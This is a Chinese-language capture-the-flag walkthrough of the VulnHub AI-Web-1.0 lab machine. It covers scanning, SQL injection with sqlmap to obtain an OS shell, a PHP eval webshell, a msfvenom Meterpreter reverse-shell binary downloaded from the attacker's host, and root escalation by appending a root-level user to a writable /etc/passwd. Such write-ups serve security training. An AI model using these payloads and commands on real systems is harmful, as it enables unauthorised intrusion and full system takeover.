vulnhub之AI-Web-1.0
一、信息收集
1.主机发现
nmap 172.25.0.0-255
发现了靶机IP:172.25.0.13
2.端口扫描
nmap -A -sS -sV -Pn -O -p- 172.25.0.13
发现80
端口是开放的。
3.目录扫描
sudo dirb http://172.25.0.13/
发现了robots.txt
文件
在对其进行目录二次扫描,发现了sql注入
http://172.25.0.13/se3reTdir777/#
还发现了phpinfo
http://172.25.0.13//m3diNf0//info.php
二、漏洞发现 & 漏洞利用
1.sql的报错注入到getshell
1.因为我们想要的是getshell
,直接上sqlmap
试试
sudo python /usr/bin/sqlmap -r sql.txt --data=uid=1 --os-shell
中途需要需要输入🐴儿的类型,因为这里是PHP
搭建的站,我们选择4
2.寻找绝对路径,就从前面的phpinfo里面寻找答案
从上面的phpinfo
里面可以看出,网站的根目录是
/home/www/html/web1x443290o2sdf92213
有根据目录扫描的结果,看到了uploads
/m3diNf0/
/se3reTdir777/uploads/
我们推测其绝对路径为
/home/www/html/web1x443290o2sdf92213/se3reTdir777/upload/
虽然说是推测,但是这里的绝对路径的寻找,中途填了好多的坑
最后,成功getshell
2.🐴儿上传及利用
1.本来我觉得linux
的操作系统,直接上传msf
生成的🐴儿,发现就算给了执行权限怎么也执行不了。
- 🐴儿的生成
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.8.0.70 LPORT=1234 -f elf > 1234.elf
- 🐴儿的上传
1.服务端开启HTTP
服务
python3 -m http.server 8888
2.客服端下载🐴儿
curl -o mshell.elf http://10.8.0.70:8888/mshell.
3.赋予🐴儿权限
chmod +x mshell.elf
4.本地最好监听
use exploit/multi/handler
set lhost 10.8.0.70
set lport 4444
set linux/x64/meterpreter/reverse_tcp
run
开始我还以为是我🐴儿生病了,跑不动,后面生成的🐴儿也跑不动。
3.小🐴拉大🐴
因为前面那个🐴可能太大了,拉不动,先整个小马玩玩
<?php eval($_POST['cmd']);?>
还是使用上传大🐴的方式,传小🐴儿,这里不在赘述,直接上蚁剑连接
来到蚁剑的终端执行我们的大🐴儿
./mshell.elf
因为中途大🐴生病了,换了一个大🐴上去,成功反弹shell
三、提权
find / -user www-data 2>/dev/null/
发现了/etc/passwd
属于www-data
下的文件,因此,我们可以修改/etc/passwd
下的文件,从而获取shell
,前面已经测试了该操作系统的内核漏洞,我发现都没有已知漏洞。
因为/etc/passwd
下的密码是加密的,因此需要加密我们的密码
perl -le 'print crypt("password@123","addedsalt")
当然也可以换个密码,将用户和密码写入/etc/passwd
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
当我们想su
时,报错了
su: must be run from a terminal
上述报错意思是su这个命令必须运行在终端中,这个时候我们使用python
将其转换为交互式
python -c 'import pty;pty.spawn("/bin/bash")'
切换至test
用户,输入密码,直接获取root
权限,成功获取flag
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
四、知识点总结
1.查找linux
下某用户的所属文件
find / -user uname 2>/dev/null
2.使用perl进行加盐加密
perl -le 'print crypt("password@123","addedsalt")
3.使用python转交互式
python -c 'import pty;pty.spawn("/bin/bash")'